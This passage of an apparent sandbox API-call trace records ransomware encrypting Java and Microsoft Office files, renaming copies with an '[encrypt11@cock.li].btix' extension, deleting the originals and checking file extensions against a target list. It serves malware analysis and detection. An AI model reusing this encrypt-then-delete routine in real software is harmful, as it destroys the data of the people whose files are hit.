Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.874] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=153) returned 1 [0047.874] CloseHandle (hObject=0x390) returned 1 [0047.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20 [0047.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.878] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0047.879] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.879] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.879] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.883] GetLastError () returned 0x0 [0047.883] ReadFile (in: hFile=0x38c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x99, lpOverlapped=0x0) returned 1 [0047.884] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xa0, lpOverlapped=0x0) returned 1 [0047.884] ReadFile (in: hFile=0x38c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0047.884] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x106, lpOverlapped=0x0) returned 1 [0047.884] SetEndOfFile (hFile=0x308) returned 1 [0047.885] CloseHandle (hObject=0x308) returned 1 [0047.885] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.885] SetEndOfFile (hFile=0x38c) returned 1 [0047.886] CloseHandle (hObject=0x38c) returned 1 [0047.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.886] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1 [0047.886] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0047.886] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0047.886] lstrlenW (lpString=".doc") returned 4 [0047.886] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.886] lstrlenW (lpString=".docx") returned 5 [0047.886] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0047.886] lstrlenW (lpString=".pdf") returned 4 [0047.886] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.887] lstrlenW (lpString=".xls") returned 4 [0047.887] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.887] lstrlenW (lpString=".xlsx") returned 5 [0047.887] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0047.887] lstrlenW (lpString=".ppt") returned 4 [0047.887] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0047.887] lstrlenW (lpString=".zip") returned 4 [0047.887] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.887] lstrlenW (lpString=".rar") returned 4 [0047.887] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.887] lstrlenW (lpString=".bz2") returned 4 [0047.887] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.887] lstrlenW (lpString=".7z") returned 3 [0047.887] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0047.887] lstrlenW (lpString=".dbf") returned 4 [0047.887] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0047.887] lstrlenW (lpString=".1cd") returned 4 [0047.887] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0047.887] lstrlenW (lpString=".jpg") returned 4 [0047.887] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0047.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0047.888] lstrlenW (lpString=".doc") returned 4 [0047.888] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.888] lstrlenW (lpString=".docx") returned 5 [0047.888] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0047.888] lstrlenW (lpString=".pdf") returned 4 [0047.888] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.888] lstrlenW (lpString=".xls") returned 4 [0047.888] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.888] lstrlenW (lpString=".xlsx") returned 5 [0047.888] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0047.888] lstrlenW (lpString=".ppt") returned 4 [0047.888] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0047.888] lstrlenW (lpString=".zip") returned 4 [0047.888] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.888] lstrlenW (lpString=".rar") returned 4 [0047.888] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.888] lstrlenW (lpString=".bz2") returned 4 [0047.888] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.888] lstrlenW (lpString=".7z") returned 3 [0047.888] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0047.888] lstrlenW (lpString=".dbf") returned 4 [0047.888] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0047.888] lstrlenW (lpString=".1cd") returned 4 [0047.888] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0047.888] lstrlenW (lpString=".jpg") returned 4 [0047.888] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.888] lstrcmpiW (lpString1=".dat", lpString2=".btix") returned 1 [0047.889] lstrlenW (lpString="tzdb.dat") returned 8 [0047.889] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0047.889] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=105500) returned 1 [0047.889] CloseHandle (hObject=0x38c) returned 1 [0047.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20 [0047.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.890] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0047.890] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.890] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.890] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.890] GetLastError () returned 0x0 [0047.890] ReadFile (in: hFile=0x38c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x19c1c, lpOverlapped=0x0) returned 1 [0048.045] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x19c20, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x19c20, lpOverlapped=0x0) returned 1 [0048.047] ReadFile (in: hFile=0x38c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.047] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe4, lpOverlapped=0x0) returned 1 [0048.047] SetEndOfFile (hFile=0x308) returned 1 [0048.047] CloseHandle (hObject=0x308) returned 1 [0048.049] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.049] SetEndOfFile (hFile=0x38c) returned 1 [0048.050] CloseHandle (hObject=0x38c) returned 1 [0048.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.050] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 1 [0048.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0048.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0048.051] lstrlenW (lpString=".doc") returned 4 [0048.051] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0048.051] lstrlenW (lpString=".docx") returned 5 [0048.051] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0048.051] lstrlenW (lpString=".pdf") returned 4 [0048.051] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0048.051] lstrlenW (lpString=".xls") returned 4 [0048.051] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0048.051] lstrlenW (lpString=".xlsx") returned 5 [0048.051] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0048.051] lstrlenW (lpString=".ppt") returned 4 [0048.051] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0048.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0048.051] lstrlenW (lpString=".zip") returned 4 [0048.051] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0048.051] lstrlenW (lpString=".rar") returned 4 [0048.051] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0048.051] lstrlenW (lpString=".bz2") returned 4 [0048.051] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0048.051] lstrlenW (lpString=".7z") returned 3 [0048.051] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0048.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0048.051] lstrlenW (lpString=".dbf") returned 4 [0048.051] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0048.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0048.051] lstrlenW (lpString=".1cd") returned 4 [0048.051] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0048.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0048.051] lstrlenW (lpString=".jpg") returned 4 [0048.051] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0048.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0048.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0048.052] lstrlenW (lpString=".doc") returned 4 [0048.052] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0048.052] lstrlenW (lpString=".docx") returned 5 [0048.052] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0048.052] lstrlenW (lpString=".pdf") returned 4 [0048.052] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0048.052] lstrlenW (lpString=".xls") returned 4 [0048.052] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0048.052] lstrlenW (lpString=".xlsx") returned 5 [0048.052] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0048.052] lstrlenW (lpString=".ppt") returned 4 [0048.052] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0048.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0048.052] lstrlenW (lpString=".zip") returned 4 [0048.052] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0048.052] lstrlenW (lpString=".rar") returned 4 [0048.052] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0048.052] lstrlenW (lpString=".bz2") returned 4 [0048.052] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0048.052] lstrlenW (lpString=".7z") returned 3 [0048.052] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0048.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0048.052] lstrlenW (lpString=".dbf") returned 4 [0048.052] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0048.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0048.052] lstrlenW (lpString=".1cd") returned 4 [0048.052] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0048.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0048.052] lstrlenW (lpString=".jpg") returned 4 [0048.052] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0048.053] lstrcmpiW (lpString1=".HTM", lpString2=".btix") returned 1 [0048.053] lstrlenW (lpString="OSPP.HTM") returned 8 [0048.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0048.065] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=174528) returned 1 [0048.065] CloseHandle (hObject=0x38c) returned 1 [0048.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20 [0048.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0048.065] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.066] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.067] GetLastError () returned 0x0 [0048.067] ReadFile (in: hFile=0x38c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x2a9c0, lpOverlapped=0x0) returned 1 [0048.159] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x2a9d0, lpOverlapped=0x0) returned 1 [0048.162] ReadFile (in: hFile=0x38c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.162] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe4, lpOverlapped=0x0) returned 1 [0048.162] SetEndOfFile (hFile=0x308) returned 1 [0048.162] CloseHandle (hObject=0x308) returned 1 [0048.165] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.165] SetEndOfFile (hFile=0x38c) returned 1 [0048.167] CloseHandle (hObject=0x38c) returned 1 [0048.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 1 [0048.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0048.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0048.167] lstrlenW (lpString=".doc") returned 4 [0048.167] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0048.167] lstrlenW (lpString=".docx") returned 5 [0048.167] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0048.167] lstrlenW (lpString=".pdf") returned 4 [0048.167] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0048.167] lstrlenW (lpString=".xls") returned 4 [0048.167] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0048.167] lstrlenW (lpString=".xlsx") returned 5 [0048.167] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0048.167] lstrlenW (lpString=".ppt") returned 4 [0048.167] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0048.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0048.168] lstrlenW (lpString=".zip") returned 4 [0048.168] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0048.168] lstrlenW (lpString=".rar") returned 4 [0048.168] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0048.168] lstrlenW (lpString=".bz2") returned 4 [0048.168] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0048.168] lstrlenW (lpString=".7z") returned 3 [0048.168] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0048.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0048.168] lstrlenW (lpString=".dbf") returned 4 [0048.168] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0048.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0048.168] lstrlenW (lpString=".1cd") returned 4 [0048.168] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0048.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0048.168] lstrlenW (lpString=".jpg") returned 4 [0048.168] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0048.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0048.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0048.168] lstrlenW (lpString=".doc") returned 4 [0048.168] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0048.168] lstrlenW (lpString=".docx") returned 5 [0048.168] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0048.168] lstrlenW (lpString=".pdf") returned 4 [0048.168] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0048.168] lstrlenW (lpString=".xls") returned 4 [0048.168] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0048.168] lstrlenW (lpString=".xlsx") returned 5 [0048.168] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0048.168] lstrlenW (lpString=".ppt") returned 4 [0048.169] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0048.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0048.169] lstrlenW (lpString=".zip") returned 4 [0048.169] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0048.169] lstrlenW (lpString=".rar") returned 4 [0048.169] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0048.169] lstrlenW (lpString=".bz2") returned 4 [0048.169] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0048.169] lstrlenW (lpString=".7z") returned 3 [0048.169] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0048.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0048.169] lstrlenW (lpString=".dbf") returned 4 [0048.169] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0048.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0048.169] lstrlenW (lpString=".1cd") returned 4 [0048.169] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0048.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0048.169] lstrlenW (lpString=".jpg") returned 4 [0048.169] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0048.169] lstrcmpiW (lpString1=".VBS", lpString2=".btix") returned 1 [0048.169] lstrlenW (lpString="OSPP.VBS") returned 8 [0048.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0048.170] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=94467) returned 1 [0048.170] CloseHandle (hObject=0x38c) returned 1 [0048.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20 [0048.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0048.170] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: 